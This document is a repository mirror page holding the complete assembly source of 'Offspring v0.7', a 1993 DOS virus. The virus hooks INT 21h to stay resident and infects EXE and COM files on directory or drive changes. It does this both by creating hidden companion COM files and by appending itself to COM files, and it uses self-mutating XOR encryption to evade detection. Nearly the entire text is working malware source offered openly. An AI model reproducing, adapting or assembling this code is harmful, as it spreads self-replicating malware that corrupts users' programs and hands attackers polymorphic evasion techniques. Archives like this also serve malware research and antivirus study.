mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
715 lines
16 KiB
NASM
715 lines
16 KiB
NASM
;-------------------------------------------------------------------------
|
|
; ************************************************
|
|
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
|
; ************************************************
|
|
;
|
|
; - Compatible with A86 v3.22
|
|
;
|
|
;
|
|
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
|
; of this virus. Use at your own risk.
|
|
;
|
|
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
|
;
|
|
;
|
|
; VERSION : BETA 0.7
|
|
;
|
|
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
|
; 0Eh (change drive) is called the virus will infect
|
|
; up to 5 files in the current directory (the one
|
|
; you're coming out of). It will first infect all
|
|
; EXE files by creating a corresponding COM. Once
|
|
; all EXE files have been infected, it then infects
|
|
; COM files. All COM files created by a spawning
|
|
; infection will have the read-only and hidden
|
|
; attribute.
|
|
;
|
|
;
|
|
; THE ENCRYPION OF THIS VIRUS :
|
|
; Ok, this virus's encryption method is a simple
|
|
; XOR. The encryption operands are changed directly.
|
|
; Also, the operands are switched around, and the
|
|
; bytes between them are constantly changed. The
|
|
; call to the encryption routine changes, so the
|
|
; address can be anywhere in a field of NOPs.
|
|
; Not anything overly amazing, but it works.
|
|
;
|
|
;
|
|
TITLE OFFSPRING_1
|
|
.286
|
|
CSEG SEGMENT
|
|
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
|
|
|
SIGNAL EQU 7DH ; Installation check
|
|
REPLY EQU 0FCH ; reply to check
|
|
CR EQU 0DH ; carraige return
|
|
LF EQU 0AH ; line feed
|
|
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
|
F_SIZEL EQU 1CH ; File size - low
|
|
F_SIZEH EQU 1AH ; File size - high
|
|
F_DATE EQU 18H ; File date
|
|
F_TIME EQU 16H ; File time
|
|
MAX_INF EQU 05 ; Maximum files to infect per run
|
|
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
|
PARASTIC EQU 01 ; Parastic infection
|
|
SPAWN EQU 00 ; Spawning infection
|
|
|
|
ORG 100H ; Leave room for PSP
|
|
|
|
;------------------------------------------------------------------
|
|
; Start of viral code
|
|
;------------------------------------------------------------------
|
|
|
|
START:
|
|
|
|
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
|
SET_SI: DW 0000H
|
|
|
|
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
|
; replicated copies.
|
|
M_SW1: NOP ; changs into a byte in op_set
|
|
XCHG_1 DB 0BFH
|
|
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
|
; Switches positions with XCHG_2
|
|
M_SW2: NOP ; changes into a byte in op_set
|
|
XCHG_2 DB 090H
|
|
ENC_NUM DW 9090H
|
|
M_SW3: NOP
|
|
|
|
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
|
ADD_DI: DW 9000H ; 00-NOP
|
|
|
|
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
|
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
|
NO_DEC:
|
|
JMP MAIN ; Jump to virus code
|
|
|
|
;-----------------------------------------------
|
|
; Data area
|
|
;-----------------------------------------------
|
|
|
|
ENC_DATA DW 0000 ; Start of encrypted data
|
|
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
|
VTYPE DB 00 ; Spawning or Parastic Infection?
|
|
INF_COUNT DB 0 ; How many files we have infected this run
|
|
COM_NAME DB 'COMMAND.COM' ; obvious
|
|
NEW_CODE DW 9090H ; ID bytes
|
|
NEW_JMP DB 0E9H,00,00 ; New Jump
|
|
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
|
ADD_MEM DB 0 ; restore mem size? Yes,No
|
|
|
|
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
|
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
|
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
|
|
|
FNAME1 DB '*.EXE',0 ; Filespec
|
|
FNAME2 DB '*.COM',0 ; Filespec
|
|
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
|
TIMES_INC DB 0 ; # of times encryption call incremented
|
|
SL DB '\' ; Backslash for directory name
|
|
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
|
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
|
OLD_DTA DD 0 ; old seg:off of DTA
|
|
OLD21_OFS DW 0 ; Offset of old INT 21H
|
|
OLD21_SEG DW 0 ; Seg of old INT 21h
|
|
NEW_SEG DW 0 ; New segment in high mem
|
|
|
|
PAR_BLK DW 0 ; command line count byte -psp
|
|
PAR_CMD DW 0080H ; Point to the command line -psp
|
|
PAR_SEG DW 0 ; seg
|
|
DW 05CH ; Use default FCB's in psp to save space
|
|
PAR1 DW 0 ;
|
|
DW 06CH ; FCB #2
|
|
PAR2 DW 0 ;
|
|
|
|
;--------------------------------------------------------------------
|
|
; INT 21h
|
|
;---------------------------------------------------------------------
|
|
|
|
NEW21 PROC ; New INT 21H handler
|
|
|
|
CMP AH, SIGNAL ; signaling us?
|
|
JNE NO
|
|
MOV AH,REPLY ; yep, give our offspring what he wants
|
|
JMP END_21
|
|
NO:
|
|
CMP AH, 3BH ; set dir func?
|
|
JE RUN_RES
|
|
CMP AH,0EH ; set disk func?
|
|
JE RUN_RES
|
|
|
|
JMP END_21
|
|
|
|
RUN_RES:
|
|
PUSHF
|
|
PUSH AX ; Push regs
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH DI
|
|
PUSH SI
|
|
PUSH BP
|
|
PUSH DS
|
|
PUSH ES
|
|
PUSH SP
|
|
PUSH SS
|
|
|
|
PUSH CS
|
|
POP DS
|
|
|
|
XOR AX,AX ; nullify ES
|
|
MOV ES,AX
|
|
|
|
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
|
JE REL_MEM ;
|
|
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
|
JE SET_MEM ; total system memory.
|
|
|
|
JMP NO_MEM_FUNC
|
|
|
|
SET_MEM:
|
|
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
|
INC ADD_MEM ; make sure we know to add this back
|
|
JMP NO_MEM_FUNC
|
|
REL_MEM:
|
|
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
|
DEC ADD_MEM
|
|
|
|
|
|
NO_MEM_FUNC:
|
|
MOV AH,2FH
|
|
INT 21H ; Get the DTA
|
|
|
|
MOV AX,ES
|
|
MOV WORD PTR OLD_DTA,BX
|
|
MOV WORD PTR OLD_DTA+2,AX
|
|
PUSH CS
|
|
POP ES
|
|
|
|
CALL RESIDENT ; Call infection kernal
|
|
|
|
MOV DX,WORD PTR OLD_DTA
|
|
MOV AX,WORD PTR OLD_DTA+2
|
|
MOV DS,AX
|
|
MOV AH,1AH
|
|
INT 21H ; Restore the DTA
|
|
|
|
POP SS ; Pop regs
|
|
POP SP
|
|
POP ES
|
|
POP DS
|
|
POP BP
|
|
POP SI
|
|
POP DI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
POPF
|
|
END_21 :
|
|
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
|
IRET
|
|
NEW21 ENDP ; End of handler
|
|
|
|
|
|
;------------------------------------------------------------
|
|
; Main
|
|
;-----------------------------------------------------------
|
|
MAIN PROC
|
|
|
|
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
|
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
|
|
|
MOV AX,DS: 002CH ; Get environment address
|
|
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
|
|
|
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
|
MOV [SI+OFFSET PAR2],CS
|
|
MOV [SI+OFFSET PAR_SEG],CS
|
|
|
|
MOV AH,2AH ; Get date
|
|
INT 21H
|
|
|
|
CMP DL,14 ; 14th?
|
|
JNE NO_DISPLAY
|
|
|
|
MOV AH,09 ; Display message
|
|
LEA DX,[SI+OFFSET ID]
|
|
INT 21H
|
|
|
|
NO_DISPLAY:
|
|
CALL INSTALL ; check if installed, if not install
|
|
|
|
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
|
JE SKIP_THIS
|
|
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
|
MOV CL,4 ; divide by 16
|
|
SHR BX,CL
|
|
INC BX
|
|
MOV AH,4AH
|
|
INT 21H ; Release un-needed memory
|
|
|
|
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
|
LEA BX,[SI+OFFSET PAR_BLK]
|
|
MOV AX,4B00H
|
|
INT 21H
|
|
|
|
MOV AH,4CH ; Exit
|
|
INT 21H
|
|
|
|
SKIP_THIS:
|
|
|
|
MOV CX,5 ; Restore original first
|
|
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
|
MOV DI,0100H
|
|
CLD
|
|
REP MOVSB
|
|
|
|
MOV AX,0100H ; Simulate CALL return to 0100h
|
|
PUSH AX
|
|
RET
|
|
|
|
MAIN ENDP
|
|
|
|
;---------------
|
|
; INSTALL - Install the virus
|
|
;--------------
|
|
|
|
INSTALL PROC
|
|
|
|
MOV AH,SIGNAL
|
|
INT 21H
|
|
CMP AH,REPLY
|
|
JE NO_INSTALL
|
|
|
|
MOV AX,CS
|
|
DEC AX
|
|
MOV DS,AX
|
|
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
|
;the chain?
|
|
JNE NO_INSTALL
|
|
|
|
|
|
MOV AX,DS: [3] ;Block size in MCB
|
|
SUB AX,190 ;Shrink Block Size-quick estimate
|
|
MOV DS: [3],AX
|
|
|
|
MOV BX,AX
|
|
MOV AX,ES
|
|
ADD AX,BX
|
|
MOV ES,AX ;Find high memory seg
|
|
|
|
PUSH SI
|
|
ADD SI,0100H
|
|
MOV CX,(OFFSET VEND - OFFSET START)
|
|
MOV AX,DS
|
|
INC AX
|
|
MOV DS,AX
|
|
MOV DI,100H ; New location in high memory
|
|
CLD
|
|
REP MOVSB ; Copy virus to high memory
|
|
|
|
POP SI
|
|
MOV DS: NEW_SEG,ES ;Save new segment
|
|
|
|
PUSH ES
|
|
POP DS
|
|
XOR AX,AX
|
|
MOV ES,AX ; null es
|
|
MOV AX,ES: [21H*4+2]
|
|
MOV BX,ES: [21H*4]
|
|
MOV DS: OLD21_SEG,AX ; Store segment
|
|
MOV DS: OLD21_OFS,BX ; Store offset
|
|
|
|
CLI
|
|
|
|
MOV ES: [21H*4+2],DS ; Save seg
|
|
LEA AX,[OFFSET NEW21]
|
|
MOV ES: [21H*4],AX ; off
|
|
|
|
STI
|
|
|
|
NO_INSTALL:
|
|
PUSH CS ; Restore regs
|
|
POP DS
|
|
MOV ES,DS
|
|
|
|
RET
|
|
INSTALL ENDP
|
|
|
|
;------------------------
|
|
; Resident - This is called from the INT 21h handler
|
|
;-----------------------------
|
|
RESIDENT PROC
|
|
|
|
MOV VTYPE,SPAWN
|
|
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
|
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
|
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
|
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
|
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
|
|
|
FIND_FIRST:
|
|
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
|
LEA SI, VEND
|
|
LEA DI, VEND+2
|
|
MOV CX,22
|
|
CLD
|
|
REP MOVSW
|
|
|
|
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
|
MOV AH, 1AH
|
|
LEA DX, VEND
|
|
INT 21H
|
|
|
|
MOV AH, 4EH ; Findfirst
|
|
MOV CX, 0 ; Set normal file attribute search
|
|
MOV DX, FNAME_OFF
|
|
INT 21H
|
|
|
|
JNC NEXT_LOOP ; if still finding files then loop
|
|
JMP END_PROG
|
|
|
|
NEXT_LOOP :
|
|
CMP VTYPE, PARASTIC ; parastic infection?
|
|
JE START_INF ; yes, skip all this
|
|
|
|
MOV AH,47H
|
|
XOR DL,DL
|
|
LEA SI,FILE_DIR
|
|
INT 21H
|
|
|
|
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
|
JE OK_FIND ; for spawning infections
|
|
JMP FIND_FILE
|
|
|
|
OK_FIND:
|
|
XOR BX,BX
|
|
LM3 : ; find end of directory name
|
|
INC BX
|
|
CMP FILE_DIR[BX],0
|
|
JNE LM3
|
|
|
|
MOV FILE_DIR[BX],'\' ; append backslash to path
|
|
INC BX
|
|
|
|
MOV CX,13 ; append filename to path
|
|
LEA SI,VEND[F_NAME]
|
|
LEA DI,FILE_DIR[BX]
|
|
CLD
|
|
REP MOVSB
|
|
|
|
XOR BX,BX
|
|
MOV BX,1EH
|
|
|
|
LOOP_ME: ; search for filename ext.
|
|
INC BX
|
|
CMP BYTE PTR VEND[BX], '.'
|
|
JNE LOOP_ME
|
|
|
|
INC BX ; change it to COM
|
|
MOV WORD PTR VEND [BX],'OC'
|
|
MOV BYTE PTR VEND [BX+2],'M'
|
|
|
|
|
|
START_INF:
|
|
|
|
CMP VTYPE, PARASTIC ; parastic infection?
|
|
JE PARASTIC_INF ; yes.. so jump
|
|
|
|
;--------------------------------------
|
|
; Spawning infection
|
|
|
|
LEA DX, VEND[F_NAME]
|
|
MOV AH, 3CH ; Create file
|
|
MOV CX, 02H ; READ-ONLY
|
|
OR CX, 01H ; Hidden
|
|
INT 21H ; Call INT 21H
|
|
JNC CONTIN ; If Error-probably already infected
|
|
JMP NO_INFECT
|
|
CONTIN:
|
|
|
|
INC INF_COUNT
|
|
MOV BX,AX
|
|
|
|
JMP ENCRYPT_OPS
|
|
;----------------------------------------
|
|
; Parastic infection
|
|
|
|
PARASTIC_INF :
|
|
|
|
CMP VEND[F_SIZEh],400H
|
|
JGE CONT_INF2
|
|
JMP NO_INFECT
|
|
|
|
CONT_INF2:
|
|
|
|
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
|
LEA DI,COM_NAME
|
|
MOV CX,11
|
|
CLD
|
|
REPE CMPSB
|
|
|
|
JNE CONT_INF0 ; Yes, don't infect
|
|
JMP NO_INFECT
|
|
|
|
CONT_INF0:
|
|
|
|
MOV AX,3D02H ; Open file for reading & writing
|
|
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
|
INT 21H
|
|
|
|
JNC CONT_INF1 ; error, skip infection
|
|
JMP NO_INFECT
|
|
|
|
CONT_INF1:
|
|
|
|
|
|
MOV BX,AX
|
|
|
|
MOV AH,3FH ; Read first five bytes of file
|
|
MOV CX,05
|
|
LEA DX,FIRST_FIVE
|
|
INT 21H
|
|
|
|
CMP WORD PTR FIRST_FIVE,9090H
|
|
JNE CONT_INF
|
|
MOV AH,3EH
|
|
INT 21H
|
|
JMP NO_INFECT
|
|
|
|
CONT_INF:
|
|
INC INF_COUNT
|
|
MOV AX,4202H ; Set pointer to end of file, so we
|
|
XOR CX,CX ; can find the file size
|
|
XOR DX,DX
|
|
INT 21H
|
|
|
|
;SUB AX,0100h ; Subtract PSP size
|
|
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
|
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
|
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
|
|
|
MOV AX,4200H
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
INT 21H
|
|
|
|
MOV AX,VEND[F_SIZEH]
|
|
SUB AX,5
|
|
MOV WORD PTR NEW_JMP+1,AX
|
|
|
|
|
|
MOV AH,40H
|
|
MOV CX,6
|
|
LEA DX,NEW_CODE
|
|
INT 21H
|
|
|
|
MOV AX,4202H
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
INT 21H
|
|
|
|
|
|
ENCRYPT_OPS:
|
|
|
|
;-----------------------------
|
|
; Change encryptions ops
|
|
|
|
PUSH BX
|
|
|
|
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
|
MOV BX,WORD PTR XCHG_2
|
|
MOV WORD PTR XCHG_1,BX
|
|
MOV WORD PTR XCHG_2,AX
|
|
MOV AH, BYTE PTR XCHG_1+2
|
|
MOV BH, BYTE PTR XCHG_2+2
|
|
MOV BYTE PTR XCHG_1+2,BH
|
|
MOV BYTE PTR XCHG_2+2,AH
|
|
|
|
XOR_DONE:
|
|
|
|
CHG_TWO:
|
|
XOR CX,CX ; CX=0
|
|
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
|
|
|
CHG_REST:
|
|
INC ROT_NUM ; increment rotation number
|
|
MOV BX,ROT_NUM ; bx=rotation num
|
|
MOV AH,OP_SET[BX] ; ah = new op code from set
|
|
MOV BYTE PTR [DI],AH
|
|
|
|
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
|
JNE CHG_CNT ; no, chg_cnt
|
|
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
|
CHG_CNT:
|
|
INC CX ; increment count
|
|
CMP CX,1
|
|
LEA DI,M_SW1
|
|
JE CHG_REST
|
|
CMP CX,2
|
|
LEA DI,M_SW2
|
|
JE CHG_REST
|
|
CMP CX,3
|
|
LEA DI,M_SW3
|
|
JE CHG_REST
|
|
CMP CX,4
|
|
LEA DI,SW_BYTE1
|
|
JE CHG_REST
|
|
|
|
CHG_THREE:
|
|
XOR CX,CX
|
|
LEA DI,SW_BYTE3
|
|
CHG_FOUR:
|
|
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
|
MOV BX,1 ;
|
|
JE MOV_POS ; Yes, so change it to the second
|
|
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
|
MOV BX,2 ;
|
|
JE MOV_POS ; Yes, change it to the third
|
|
XOR BX,BX ; Else, must be in final position
|
|
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
|
MOV BYTE PTR [DI+2],90H ; to NOP
|
|
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
|
|
|
CMP BX,2
|
|
JNE NO_CHANGE
|
|
INC CX
|
|
CMP CX,2
|
|
LEA DI,SW_BYTE4
|
|
JNE CHG_FOUR
|
|
|
|
NO_CHANGE:
|
|
CMP BYTE PTR TIMES_INC,9
|
|
JE INC_NUM
|
|
INC WORD PTR B_WR
|
|
INC WORD PTR E_JMP
|
|
INC WORD PTR E_JMP
|
|
INC TIMES_INC
|
|
JMP D2
|
|
INC_NUM:
|
|
SUB WORD PTR B_WR,09
|
|
SUB WORD PTR E_JMP,18
|
|
MOV TIMES_INC,0
|
|
|
|
;-----------------------
|
|
; Get random XOR number, save it, copy virus, encrypt code
|
|
|
|
D2:
|
|
|
|
MOV AH,2CH ;
|
|
INT 21H ; Get random number from clock - millisecs
|
|
|
|
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
|
|
|
|
|
MOV SI,0100H
|
|
LEA DI,VEND+50 ; destination
|
|
MOV CX,OFFSET VEND-100H ; bytes to move
|
|
CLD
|
|
REP MOVSB ; copy virus outside of code
|
|
|
|
|
|
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
|
CMP BYTE PTR VTYPE, PARASTIC
|
|
JNE GO_ENC
|
|
;add di,si
|
|
|
|
GO_ENC:
|
|
CALL ENCRYPT ; encrypt new copy of virus
|
|
|
|
;----------------------------------------
|
|
; Write and close new infected file
|
|
|
|
POP BX
|
|
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
|
LEA DX, VEND+50 ; Offset of buffer
|
|
MOV AH, 40H ; -- our program in memory
|
|
INT 21H ; Call INT 21H function 40h
|
|
|
|
CMP VTYPE, PARASTIC ; parastic?
|
|
JNE CLOSE ; no, don't need to restore date/time
|
|
|
|
MOV AX,5701H ; Restore data/time
|
|
MOV CX,VEND[F_TIME]
|
|
MOV DX,VEND[F_DATE]
|
|
INT 21H
|
|
|
|
|
|
CLOSE: MOV AH, 3EH
|
|
INT 21H
|
|
|
|
|
|
NO_INFECT:
|
|
|
|
; Find next file
|
|
FIND_FILE :
|
|
|
|
CMP INF_COUNT, MAX_INF
|
|
JE END_PROG
|
|
MOV AH,4FH
|
|
INT 21H
|
|
JC END_PROG
|
|
JMP NEXT_LOOP
|
|
|
|
|
|
END_PROG:
|
|
EXIT :
|
|
CMP INF_COUNT,0 ; Start parastic infection on next run
|
|
JNE FIND_DONE
|
|
CMP VTYPE, PARASTIC ; Parastic infection done?
|
|
JE FIND_DONE ; yes, we're finished
|
|
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
|
MOV VTYPE, PARASTIC ; virus type = parastic
|
|
JMP FIND_FIRST
|
|
|
|
|
|
FIND_DONE:
|
|
MOV VTYPE,SPAWN
|
|
MOV FNAME_OFF, OFFSET FNAME1
|
|
RET
|
|
RESIDENT ENDP
|
|
|
|
END_ENCRYPT: ; Let's encrypt everything up to here
|
|
OP_SET DB 90H ; NOP
|
|
DB 40H ; INC AX
|
|
DB 43H ; INC BX
|
|
DB 48H ; DEC AX
|
|
DB 4BH ; DEC BX
|
|
DB 0FBH ; STI
|
|
DB 0FCH ; CLD
|
|
DB 4AH ; DEC DX
|
|
DB 42H ; INC DX
|
|
DB 14 DUP(090H)
|
|
;------------------------------------------------
|
|
; Encrypt/Decrypt Routine
|
|
;-----------------------------------------------
|
|
|
|
ENCRYPT PROC
|
|
CX_M DB 0B9H ; MOV CX
|
|
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
|
E2:
|
|
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
|
NOP
|
|
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
|
SW_BYTE3: ; INC DI changes position in these bytes
|
|
INC DI
|
|
NOP
|
|
NOP
|
|
SW_BYTE4: ; INC DI changes position in these bytes
|
|
INC DI
|
|
NOP
|
|
NOP
|
|
SW_BYTE2:
|
|
NOP ; This byte changes into a char in op_set
|
|
LOOP E2 ; loop while cx != 0
|
|
|
|
RET
|
|
|
|
ENCRYPT ENDP
|
|
|
|
VEND DW 0 ; End of virus
|
|
|
|
CSEG ENDS
|
|
END START
|